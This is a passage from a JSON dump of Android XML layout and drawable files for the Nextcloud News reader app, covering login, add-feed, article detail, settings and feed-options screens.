    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<shape xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <solid android:color=\"@color/widget_background\" />\n    <corners android:radius=\"@dimen/widget_outer_radius\" />\n    <padding\n        android:bottom=\"0dp\"\n        android:left=\"0dp\"\n        android:right=\"0dp\"\n        android:top=\"0dp\" />\n</shape>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/activity_login_dialog.xml",
    "content": "<ScrollView xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    android:id=\"@+id/login_form\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    android:background=\"@color/nextcloudBlue\">\n\n    <LinearLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_gravity=\"center\"\n        android:layout_marginStart=\"@dimen/abc_dialog_padding_material\"\n        android:layout_marginTop=\"@dimen/abc_dialog_padding_material\"\n        android:layout_marginEnd=\"@dimen/abc_dialog_padding_material\"\n        android:layout_marginBottom=\"@dimen/abc_dialog_padding_material\"\n        android:orientation=\"vertical\">\n\n        <ImageView\n            android:id=\"@+id/img_nextcloud_logo\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:src=\"@drawable/nextcloud_logo\" />\n\n        <TextView\n            android:id=\"@+id/tv_manual_login2\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:layout_marginTop=\"16dp\"\n            android:layout_marginBottom=\"16dp\"\n            android:textSize=\"24dp\"\n            android:gravity=\"center\"\n            android:text=\"@string/full_app_name\"\n            android:textColor=\"@color/material_grey_100\" />\n\n\n        <com.google.android.material.button.MaterialButton\n            android:id=\"@+id/btnSingleSignOn\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:layout_marginStart=\"4dp\"\n            android:layout_marginTop=\"32dp\"\n            android:padding=\"16dp\"\n            android:text=\"@string/login_sso\"\n            android:textStyle=\"bold\"\n            android:textColor=\"@color/nextcloudBlue\"\n            android:textAllCaps=\"false\"\n            app:backgroundTint=\"@android:color/white\"\n            app:cornerRadius=\"24dp\" />\n\n        <TextView\n            android:id=\"@+id/tv_manual_login\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:layout_marginTop=\"16dp\"\n            android:layout_marginBottom=\"16dp\"\n            android:gravity=\"center\"\n            android:text=\"@string/login_manual\"\n            android:textColor=\"@color/material_grey_100\" />\n\n        <RelativeLayout\n            android:id=\"@+id/old_login_wrapper\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:visibility=\"gone\">\n\n            <com.google.android.material.textfield.TextInputLayout\n                android:id=\"@+id/username_container\"\n                style=\"@style/TextInputLayoutStyle\"\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"wrap_content\"\n                android:theme=\"@style/TextInputLayoutAppearance\"\n                app:counterOverflowTextColor=\"@android:color/white\">\n\n                <com.google.android.material.textfield.TextInputEditText\n                    android:id=\"@+id/username\"\n                    style=\"@style/TextInputEditTextLogin\"\n                    android:layout_width=\"match_parent\"\n                    android:layout_height=\"wrap_content\"\n                    android:gravity=\"start\"\n                    android:hint=\"@string/pref_title_username\"\n                    android:inputType=\"textEmailAddress\"\n                    android:autofillHints=\"emailAddress\"\n                    android:textAlignment=\"viewStart\" />\n\n            </com.google.android.material.textfield.TextInputLayout>\n\n            <com.google.android.material.textfield.TextInputLayout\n                android:id=\"@+id/password_container\"\n                style=\"@style/TextInputLayoutStyle\"\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"wrap_content\"\n                android:layout_below=\"@+id/username_container\"\n                android:layout_alignParentStart=\"true\"\n                android:theme=\"@style/TextInputLayoutAppearance\"\n                app:counterOverflowTextColor=\"@android:color/white\"\n                app:endIconDrawable=\"@drawable/ic_visibility_24\"\n                app:endIconMode=\"custom\"\n                app:endIconTint=\"#fff\">\n\n                <com.google.android.material.textfield.TextInputEditText\n                    android:id=\"@+id/password\"\n                    style=\"@style/TextInputEditTextLogin\"\n                    android:layout_width=\"match_parent\"\n                    android:layout_height=\"wrap_content\"\n                    android:gravity=\"start\"\n                    android:hint=\"@string/pref_title_password\"\n                    android:inputType=\"textPassword\"\n                    android:autofillHints=\"password\"\n                    android:maxLines=\"1\"\n                    android:singleLine=\"true\"\n                    android:textAlignment=\"viewStart\" />\n\n            </com.google.android.material.textfield.TextInputLayout>\n\n            <com.google.android.material.textfield.TextInputLayout\n                android:id=\"@+id/url_container\"\n                style=\"@style/TextInputLayoutStyle\"\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"wrap_content\"\n                android:layout_below=\"@+id/password_container\"\n                android:layout_alignParentStart=\"true\"\n                android:theme=\"@style/TextInputLayoutAppearance\"\n                app:counterOverflowTextColor=\"@android:color/white\">\n\n                <com.google.android.material.textfield.TextInputEditText\n                    android:id=\"@+id/edt_owncloudRootPath\"\n                    style=\"@style/TextInputEditTextLogin\"\n                    android:layout_width=\"match_parent\"\n                    android:layout_height=\"wrap_content\"\n                    android:gravity=\"start\"\n                    android:hint=\"@string/pref_title_owncloudRootPath\"\n                    android:inputType=\"textUri\"\n                    android:maxLines=\"1\"\n                    android:selectAllOnFocus=\"true\"\n                    android:singleLine=\"true\"\n                    android:textAlignment=\"viewStart\"\n                    android:theme=\"@style/TextInputEditTextLogin\"\n                    android:title=\"@string/pref_default_owncloudRootPath\" />\n\n            </com.google.android.material.textfield.TextInputLayout>\n\n            <CheckBox\n                android:id=\"@+id/cb_AllowAllSSLCertificates\"\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"wrap_content\"\n                android:layout_below=\"@+id/url_container\"\n                android:text=\"@string/pref_title_DisableHostnameVerification\"\n                android:textColor=\"@color/material_grey_100\"\n                app:buttonTint=\"@color/material_grey_300\" />\n\n            <com.google.android.material.button.MaterialButton\n                android:id=\"@+id/btnLogin\"\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"wrap_content\"\n                android:layout_below=\"@id/cb_AllowAllSSLCertificates\"\n                android:layout_marginStart=\"4dp\"\n                android:layout_marginTop=\"16dp\"\n                android:padding=\"16dp\"\n                android:text=\"@string/action_sign_in_short\"\n                android:textAllCaps=\"false\"\n                android:textColor=\"@android:color/black\"\n                app:backgroundTint=\"@android:color/white\"\n                app:cornerRadius=\"24dp\" />\n\n        </RelativeLayout>\n\n    </LinearLayout>\n\n</ScrollView>\n"
  },
  {
    "path": "News-Android-App/src/main/res/layout/activity_new_feed.xml",
    "content": "<androidx.coordinatorlayout.widget.CoordinatorLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    android:layout_height=\"match_parent\"\n    android:layout_width=\"match_parent\"\n    android:fitsSystemWindows=\"true\">\n\n    <LinearLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        android:gravity=\"center_horizontal\"\n        android:orientation=\"vertical\"\n        tools:context=\"de.luhmer.owncloudnewsreader.NewFeedActivity\"\n        app:layout_behavior=\"@string/appbar_scrolling_view_behavior\">\n\n        <!-- Login progress -->\n        <ProgressBar\n            android:id=\"@+id/new_feed_progress\"\n            style=\"?android:attr/progressBarStyleLarge\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"match_parent\"\n            android:layout_gravity=\"center\"\n            android:layout_marginBottom=\"8dp\"\n            android:visibility=\"gone\"/>\n\n        <ScrollView\n            android:id=\"@+id/feed_form\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"\n            android:paddingBottom=\"@dimen/activity_vertical_margin\"\n            android:paddingStart=\"@dimen/activity_horizontal_margin\"\n            android:paddingEnd=\"@dimen/activity_horizontal_margin\"\n            android:paddingTop=\"@dimen/activity_vertical_margin\">\n\n            <LinearLayout\n                android:id=\"@+id/new_feed_form\"\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"wrap_content\"\n                android:orientation=\"vertical\">\n\n                <com.google.android.material.textfield.TextInputLayout\n                    android:layout_width=\"match_parent\"\n                    android:layout_height=\"wrap_content\"\n                    android:hint=\"@string/hint_feed_url\">\n                    <EditText\n                        android:id=\"@+id/et_feed_url\"\n                        android:layout_width=\"match_parent\"\n                        android:layout_height=\"wrap_content\"\n                        android:layout_gravity=\"start\"\n                        android:inputType=\"textUri\"\n                        android:maxLines=\"1\"\n                        android:singleLine=\"true\"\n                        android:textAlignment=\"viewStart\"/>\n                </com.google.android.material.textfield.TextInputLayout>\n\n                <Spinner\n                    android:id=\"@+id/sp_folder\"\n                    android:layout_width=\"match_parent\"\n                    android:layout_height=\"45dp\"\n                    android:layout_gravity=\"start\"\n                    android:textAlignment=\"viewStart\"/>\n\n                <com.google.android.material.button.MaterialButton\n                    android:id=\"@+id/btn_addFeed\"\n                    android:layout_width=\"match_parent\"\n                    android:layout_height=\"wrap_content\"\n                    android:layout_marginTop=\"16dp\"\n                    android:text=\"@string/action_add_feed\"\n                    android:textStyle=\"bold\"/>\n\n                <LinearLayout\n                    android:orientation=\"horizontal\"\n                    android:layout_width=\"match_parent\"\n                    android:layout_height=\"wrap_content\">\n\n                    <com.google.android.material.button.MaterialButton\n                        android:id=\"@+id/btn_import_opml\"\n                        style=\"@style/Widget.Material3.Button.OutlinedButton\"\n                        android:layout_width=\"0dp\"\n                        android:layout_weight=\"1\"\n                        android:layout_height=\"wrap_content\"\n                        android:layout_marginTop=\"16dp\"\n                        android:layout_marginEnd=\"8dp\"\n                        android:text=\"@string/import_opml\"\n                        android:textStyle=\"bold\" />\n\n                    <com.google.android.material.button.MaterialButton\n                        style=\"@style/Widget.Material3.Button.OutlinedButton\"\n                        android:id=\"@+id/btn_export_opml\"\n                        android:layout_width=\"0dp\"\n                        android:layout_weight=\"1\"\n                        android:layout_height=\"wrap_content\"\n                        android:layout_marginTop=\"16dp\"\n                        android:layout_marginStart=\"8dp\"\n                        android:text=\"@string/export_opml\"\n                        android:textStyle=\"bold\" />\n                </LinearLayout>\n\n            </LinearLayout>\n\n        </ScrollView>\n\n    </LinearLayout>\n\n    <include\n        android:id=\"@+id/toolbar_layout\"\n        layout=\"@layout/toolbar_layout\" />\n\n</androidx.coordinatorlayout.widget.CoordinatorLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/activity_news_detail.xml",
    "content": "<androidx.coordinatorlayout.widget.CoordinatorLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:layout_height=\"match_parent\"\n    android:layout_width=\"match_parent\"\n    android:fitsSystemWindows=\"true\">\n\n    <!-- SlidingUpPanelLayout doesn't work with layout_behavior, use marginTop -->\n    <de.luhmer.owncloudnewsreader.view.PodcastSlidingUpPanelLayout\n        xmlns:sothree=\"http://schemas.android.com/apk/res-auto\"\n        android:id=\"@+id/sliding_layout\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        android:layout_marginTop=\"?attr/actionBarSize\"\n        android:gravity=\"bottom\"\n        sothree:umanoPanelHeight=\"68dp\"\n        sothree:umanoShadowHeight=\"4dp\"\n        sothree:umanoParallaxOffset=\"100dp\"\n        sothree:umanoDragView=\"@+id/name\">\n\n        <!--\n        for bottom toolbar, replace marginTop above with marginBottom\n        android:layout_marginBottom=\"?attr/actionBarSize\"\n        -->\n        <RelativeLayout\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"\n            >\n            <androidx.viewpager.widget.ViewPager\n                android:id=\"@+id/pager\"\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"match_parent\"\n                tools:context=\".NewsDetailActivity\" >\n                <!--\n                This title strip will display the currently visible page title, as well as the page\n                titles for adjacent pages.\n                -->\n\n                <!--\n                <android.support.v4.view.PagerTitleStrip\n                    android:id=\"@+id/pager_title_strip\"\n                    android:layout_width=\"match_parent\"\n                    android:layout_height=\"wrap_content\"\n                    android:layout_gravity=\"top\"\n                    android:background=\"#33b5e5\"\n                    android:paddingBottom=\"4dp\"\n                    android:paddingTop=\"4dp\"\n                    android:textColor=\"#fff\" />\n                -->\n\n\n            </androidx.viewpager.widget.ViewPager>\n\n            <include\n                android:id=\"@+id/fa_detail_bar\"\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:layout_alignParentBottom=\"true\"\n                android:layout_alignParentEnd=\"true\"\n                android:layout_marginEnd=\"16dp\"\n                android:layout_marginBottom=\"16dp\"\n                layout=\"@layout/widget_fastactions_detailview\" />\n\n        </RelativeLayout>\n\n        <FrameLayout\n            android:id=\"@+id/podcast_frame\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\" />\n\n    </de.luhmer.owncloudnewsreader.view.PodcastSlidingUpPanelLayout>\n\n    <de.luhmer.owncloudnewsreader.view.AnimatingProgressBar\n        android:id=\"@+id/progressIndicator\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_gravity=\"bottom\"\n        android:layout_marginBottom=\"-7dp\"\n        android:layoutDirection=\"ltr\"\n        style=\"?android:attr/progressBarStyleHorizontal\" />\n\n    <!--\n    <com.google.android.material.bottomappbar.BottomAppBar\n        android:id=\"@+id/bottomAppBar\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_gravity=\"bottom\"\n        android:theme=\"@style/ToolbarTheme\">\n    </com.google.android.material.bottomappbar.BottomAppBar>\n-->\n\n    <include\n        android:id=\"@+id/toolbar_layout\"\n        layout=\"@layout/toolbar_layout\" />\n\n</androidx.coordinatorlayout.widget.CoordinatorLayout>\n"
  },
  {
    "path": "News-Android-App/src/main/res/layout/activity_newsreader.xml",
    "content": "<androidx.coordinatorlayout.widget.CoordinatorLayout xmlns:tools=\"http://schemas.android.com/tools\"\n    android:layout_width=\"match_parent\"\n    xmlns:sothree=\"http://schemas.android.com/apk/res-auto\"\n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:layout_height=\"match_parent\">\n\n    <de.luhmer.owncloudnewsreader.view.PodcastSlidingUpPanelLayout\n    android:id=\"@+id/sliding_layout\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    sothree:umanoPanelHeight=\"68dp\"\n    sothree:umanoParallaxOffset=\"100dp\"\n        android:gravity=\"bottom\"\n        sothree:umanoShadowHeight=\"4dp\"> <!-- sothree:dragView=\"@+id/name\" -->\n\n    <androidx.drawerlayout.widget.DrawerLayout\n        android:id=\"@+id/drawer_layout\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\">\n\n        <androidx.coordinatorlayout.widget.CoordinatorLayout\n            android:id=\"@+id/coordinator_layout\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"match_parent\"\n            android:fitsSystemWindows=\"true\">\n\n            <fragment\n                class=\"de.luhmer.owncloudnewsreader.NewsReaderDetailFragment\"\n                android:id=\"@+id/content_frame\"\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"match_parent\"\n                android:layout_marginTop=\"?attr/actionBarSize\"\n                tools:layout_behavior=\"@string/appbar_scrolling_view_behavior\"\n                tools:layout=\"@layout/fragment_newsreader_detail\" />\n\n            <include\n                android:id=\"@+id/toolbar_layout\"\n                layout=\"@layout/toolbar_layout\" />\n\n        </androidx.coordinatorlayout.widget.CoordinatorLayout>\n\n        <FrameLayout\n            android:id=\"@+id/left_drawer\"\n            android:layout_width=\"@dimen/design_navigation_max_width\"\n            android:layout_height=\"match_parent\"\n            android:layout_gravity=\"start\" />\n\n    </androidx.drawerlayout.widget.DrawerLayout>\n\n    <FrameLayout\n        android:id=\"@+id/podcast_frame\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\" />\n\n</de.luhmer.owncloudnewsreader.view.PodcastSlidingUpPanelLayout>\n</androidx.coordinatorlayout.widget.CoordinatorLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/activity_pip_video_playback.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:id=\"@+id/layout_activity_pip\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    android:fitsSystemWindows=\"true\"\n    tools:context=\".PiPVideoPlaybackActivity\">\n</RelativeLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/activity_settings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    android:fitsSystemWindows=\"true\"\n    android:orientation=\"vertical\">\n\n    <include\n        android:id=\"@+id/toolbar_layout\"\n        layout=\"@layout/toolbar_layout\" />\n\n    <FrameLayout\n        android:id=\"@+id/container\"\n        android:layout_below=\"@id/toolbar_layout\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\" />\n\n</LinearLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/dialog_list_folder.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<TextView xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:id=\"@android:id/text1\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"wrap_content\"\n    android:textAppearance=\"?android:attr/textAppearanceListItemSmall\"\n    android:gravity=\"center_vertical\"\n    android:paddingStart=\"?android:attr/listPreferredItemPaddingStart\"\n    android:paddingEnd=\"?android:attr/listPreferredItemPaddingEnd\"\n    android:minHeight=\"?android:attr/listPreferredItemHeightSmall\" />"
  },
  {
    "path": "News-Android-App/src/main/res/layout/dialog_version_info.xml",
    "content": "<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    android:orientation=\"vertical\">\n\n    <de.luhmer.owncloudnewsreader.helper.AutoResizeTextView\n        android:id=\"@+id/tv_androidAppVersion\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:minHeight=\"30dp\"\n        android:gravity=\"center_vertical\"\n        android:paddingStart=\"24dp\"\n        android:paddingEnd=\"24dp\"/>\n\n    <!-- android:paddingStart=\"?dialogPreferredPadding\" -->\n\n    <ProgressBar\n        android:id=\"@+id/changeLogLoadingProgressBar\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_gravity=\"center_vertical|center_horizontal\"\n        android:indeterminate=\"true\" />\n\n    <de.luhmer.owncloudnewsreader.view.ChangeLogFileListView\n        android:id=\"@+id/changelog_listview\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        android:scrollbars=\"vertical\"\n        android:paddingStart=\"12dp\"\n        android:paddingEnd=\"12dp\"/>\n\n</LinearLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/empty_content_view.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    android:orientation=\"vertical\"\n    android:padding=\"@dimen/spacer_2x\"\n    android:visibility=\"gone\"\n    tools:visibility=\"visible\">\n\n    <ImageView\n        android:id=\"@+id/image\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"72dp\"\n        android:layout_above=\"@+id/title\"\n        android:layout_gravity=\"center\"\n        android:contentDescription=\"@null\"\n        android:scaleX=\"1.7\"\n        android:scaleY=\"1.7\"\n        app:srcCompat=\"@drawable/ic_launcher_foreground\"\n        app:tint=\"?attr/colorOnSurfaceVariant\" />\n\n    <TextView\n        android:id=\"@+id/title\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_centerVertical=\"true\"\n        android:gravity=\"center\"\n        android:paddingTop=\"16dp\"\n        android:paddingBottom=\"16dp\"\n        android:text=\"@string/empty_view_content\"\n        android:textAlignment=\"center\"\n        android:textSize=\"@dimen/empty_content_font_size\" />\n\n    <TextView\n        android:id=\"@+id/description\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:layout_below=\"@id/title\"\n        android:layout_centerHorizontal=\"true\"\n        android:paddingStart=\"@dimen/spacer_2x\"\n        android:paddingEnd=\"@dimen/spacer_2x\"\n        android:text=\"@string/empty_view_content_action\"\n        android:textAlignment=\"center\" />\n</RelativeLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/fragment_dialog_add_folder.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"wrap_content\"\n    android:orientation=\"vertical\"\n    android:paddingBottom=\"6dp\"\n    android:paddingStart=\"@dimen/activity_horizontal_margin\"\n    android:paddingEnd=\"@dimen/activity_horizontal_margin\"\n    android:paddingTop=\"@dimen/activity_vertical_margin\">\n\n    <TextView\n        android:id=\"@+id/title\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_marginBottom=\"8dp\"\n        android:paddingStart=\"?android:attr/listPreferredItemPaddingStart\"\n        android:paddingEnd=\"?android:attr/listPreferredItemPaddingEnd\"\n        android:text=\"@string/action_add_new_folder\"\n        android:textSize=\"18sp\"\n        android:textStyle=\"bold\" />\n\n    <RelativeLayout\n        android:id=\"@+id/body\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_below=\"@id/title\">\n\n        <com.google.android.material.textfield.TextInputLayout\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:hint=\"@string/hint_folder_name\">\n            <EditText\n                android:id=\"@+id/folder_name_input\"\n                android:visibility=\"visible\"\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"wrap_content\"\n                android:layout_alignParentStart=\"true\"\n                android:layout_alignParentEnd=\"false\"\n                android:layout_gravity=\"center\"\n                android:layout_marginTop=\"13dp\"\n                android:layout_marginBottom=\"13dp\"\n                android:imeOptions=\"actionDone\"\n                android:inputType=\"textVisiblePassword\"\n                android:lines=\"1\"\n                android:paddingStart=\"6dp\"\n                android:paddingEnd=\"6dp\"\n                android:singleLine=\"true\"\n                android:textSize=\"18sp\"/>\n        </com.google.android.material.textfield.TextInputLayout>\n\n        <RelativeLayout\n            android:id=\"@+id/progressView\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:layout_gravity=\"center\"\n            android:visibility=\"gone\">\n\n            <ProgressBar\n                style=\"?android:attr/progressBarStyle\"\n                android:layout_width=\"match_parent\"\n                android:layout_height=\"wrap_content\"\n                android:layout_gravity=\"center\"\n                android:layout_marginBottom=\"12dp\"\n                android:layout_marginTop=\"12dp\"/>\n        </RelativeLayout>\n    </RelativeLayout>\n\n    <LinearLayout\n        android:layout_width=\"fill_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_alignParentStart=\"true\"\n        android:layout_below=\"@id/body\"\n        android:layout_marginStart=\"0dp\"\n        android:layout_marginEnd=\"0dp\"\n        android:orientation=\"horizontal\">\n\n        <com.google.android.material.button.MaterialButton\n            android:id=\"@+id/button_add_cancel\"\n            style=\"@style/Widget.Material3.Button.TextButton.Dialog\"\n            android:layout_width=\"0dp\"\n            android:layout_height=\"wrap_content\"\n            android:layout_marginStart=\"0dp\"\n            android:layout_weight=\"1\"\n            android:text=\"@android:string/cancel\" />\n\n        <com.google.android.material.button.MaterialButton\n            android:id=\"@+id/button_add_confirm\"\n            style=\"@style/Widget.Material3.Button.TextButton.Dialog.Flush\"\n            android:layout_width=\"0dp\"\n            android:layout_height=\"wrap_content\"\n            android:layout_marginEnd=\"0dp\"\n            android:layout_weight=\"1\"\n            android:text=\"@string/folder_add_button\" />\n    </LinearLayout>\n</RelativeLayout>"
  },
  {
    "path": "News-Android-App/src/main/res/layout/fragment_dialog_feedoptions.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<RelativeLayout\n    xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"wrap_content\"\n    android:orientation=\"vertical\"\n    android:paddingBottom=\"6dp\"\n    android:paddingStart=\"@dimen/activity_horizontal_margin\"\n    android:paddingEnd=\"@dimen/activity_horizontal_margin\"\n    android:paddingTop=\"@dimen/activity_vertical_margin\">\n\n    <RelativeLayout\n        android:id=\"@+id/title_wrapper\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:paddingStart=\"?android:attr/listPreferredItemPaddingStart\"\n        android:paddingEnd=\"?android:attr/listPreferredItemPaddingEnd\"\n        android:layout_marginBottom=\"4dp\">\n\n        <ImageView\n            android:id=\"@+id/ic_menu_feedicon\"\n            android:layout_width=\"24dp\"\n            android:layout_height=\"24dp\"\n            android:layout_marginEnd=\"6dp\"\n            android:layout_gravity=\"center_vertical\"/>\n\n        <TextView\n            android:id=\"@+id/tv_menu_title\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"\n            android:layout_centerVertical=\"true\"\n            android:layout_toEndOf=\"@+id/ic_menu_feedicon\"\n            android:textSize=\"16sp\"\n            android:textStyle=\"bold\"\n            tools:text=\"NameOfFeed\"/>\n\n    </RelativeLayout>\n\n    <TextView\n        android:id=\"@+id/tv_menu_text\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_below=\"@+id/title_wrapper\"\n        android:layout_marginTop=\"2dp\"\n        android:paddingEnd=\"?android:attr/listPreferredItemPaddingEnd\"\n        android:paddingStart=\"?android:attr/listPreferredItemPaddingStart\"\n        android:textSize=\"14sp\"\n        android:textStyle=\"normal\"\n        android:textIsSelectable=\"true\"\n        tools:text=\"UrlOfFeed\"/>\n\n    <View\n        android:id=\"@+id/horizontalDivider\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"1dp\"\n        android:layout_below=\"@+id/tv_menu_text\"\n        android:layout_marginStart=\"0dp\"\n        android:layout_marginEnd=\"0dp\"\n        android:layout_marginTop=\"12dp\"\n        android:background=\"#c8ababab\"/>\n\n    <ListView\n        android:id=\"@+id/lv_menu_list\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_below=\"@id/horizontalDivider\"\n        android:divider=\"@null\">\n\n    </ListView>\n\n    <RelativeLayout\n        android:id=\"@+id/remove_feed_dialog\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_below=\"@id/horizontalDivider\"\n        android:visibility=\"gone\">\n\n        <TextView\n            android:id=\"@+id/tv_detail_text\"\n            android:layout_width=\"fill_parent\"\n            android:layout_height=\"wrap_content\"\n            android:layout_alignParentEnd=\"false\"\n            android:layout_alignParentStart=\"true\"\n            android:layout_marginBottom=\"13dp\"\n            android:layout_marginTop=\"13dp\"\n            android:paddingStart=\"6dp\"\n            android:paddingEnd=\"6dp\"\n            android:text=\"@string/confirm_feed_remove\"\n            android:textSize=\"18sp\" />\n\n        <LinearLayout\n            android:layout_width=\"fill_parent\"\n            android:layout_height=\"wrap_content\"\n            android:layout_alignParentStart=\"true\"\n            android:layout_below=\"@+id/tv_detail_text\"\n            android:layout_marginStart=\"0dp\"\n            android:layout_marginEnd=\"0dp\"\n            android:orientation=\"horizontal\">\n\n            <com.google.android.material.button.MaterialButton\n                android:id=\"@+id/button_remove_cancel\"\n                style=\"@style/Widget.Material3.Button.TextButton.Dialog\"\n                android:layout_width=\"0dp\"\n                android:layout_height=\"wrap_content\"\n                android:layout_marginStart=\"0dp\"\n                android:layout_weight=\"1\"\n                android:text=\"@android:string/cancel\" />\n\n            <com.google.android.material.button.MaterialButton\n                android:id=\"@+id/button_remove_confirm\"\n                style=\"@style/Widget.Material3.Button.TextButton.Dialog.Flush\"\n                android:layout_width=\"0dp\"\n                android:layout_height=\"wrap_content\"\n                android:layout_marginEnd=\"0dp\"\n                android:layout_weight=\"1\"\n                android:text=\"@string/feed_remove_button\" />\n        </LinearLayout>\n\n    </RelativeLayout>\n\n    <RelativeLayout\n        android:id=\"@+id/rename_feed_dialog\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:layout_below=\"@id/horizontalDivider\"\n        android:visibility=\"gone\">\n\n        <com.google.android.material.textfield.TextInputLayout\n            android:id=\"@+id/renamefeed_feedname_wrapper\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\">\n            <EditText\n                android:id=\"@+id/renamefeed_feedname\"\n                android:layout_width=\"fill_parent\"\n                android:layout_height=\"wrap_content\"\n                android:layout_alignParentEnd=\"false\"\n                android:layout_alignParentStart=\"true\"\n                android:layout_marginBottom=\"13dp\"\n                android:layout_marginTop=\"13dp\"\n                android:imeOptions=\"actionDone\"\n                android:inputType=\"textVisiblePassword\"\n                android:lines=\"1\"\n                android:paddingStart=\"6dp\"\n                android:paddingEnd=\"6dp\"\n                android:singleLine=\"true\"\n                android:textSize=\"18sp\" />\n        </com.google.android.material.textfield.TextInputLayout>\n\n        <LinearLayout\n            android:layout_width=\"fill_parent\"\n            android:layout_height=\"wrap_content\"\n            android:layout_alignParentStart=\"true\"\n            